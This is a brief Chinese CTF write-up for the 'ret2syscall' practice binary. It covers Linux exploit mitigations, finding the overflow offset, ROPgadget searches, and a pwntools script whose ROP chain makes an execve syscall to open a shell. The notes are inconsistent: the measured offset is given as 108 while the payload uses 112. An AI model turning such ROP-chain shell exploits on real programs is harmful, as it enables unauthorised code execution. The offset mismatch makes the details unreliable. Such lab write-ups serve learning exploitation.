pwn ret2syscall
程序员文章站
2024-01-20 08:43:46
...
安全机制
ASLR(地址随机化)
PIE(加强版ASLR)
NX(数据段不可执行) ROP 系统调用
stack canary(栈溢出 写入校验值 ) stack smash 内存泄漏
RELRO got表
延迟绑定
plt 汇编代码 把真实地址放入got
got 表单 跳转到libc.so
利用方法:
- 劫持eip,改为system plt
- 任意地址写got表,改为system真实地址,相当于调用call system(Got表劫持)
- 泄露,如泄露got表,里面有printf地址,进而计算出libc地址,system
文件信息
安全方式
查看源码
确定偏移
cyclic 200
r
$cyclic -l caab
108
# 查找可存储寄存器的代码
ROPgadget --binary ret2syscall --only "pop|ret"|grep "eax"
ROPgadget --binary ret2syscall --only "pop|ret"|grep "ebx"
# 查找有int 0x80的地址
ROPgadget --binary ret2syscall --only "int"
# 查找字符串
ROPgadget --binary ret2syscall --string "/bin/sh"
exp
#!/usr/bin/env python
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
pause()
payload = "a"*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()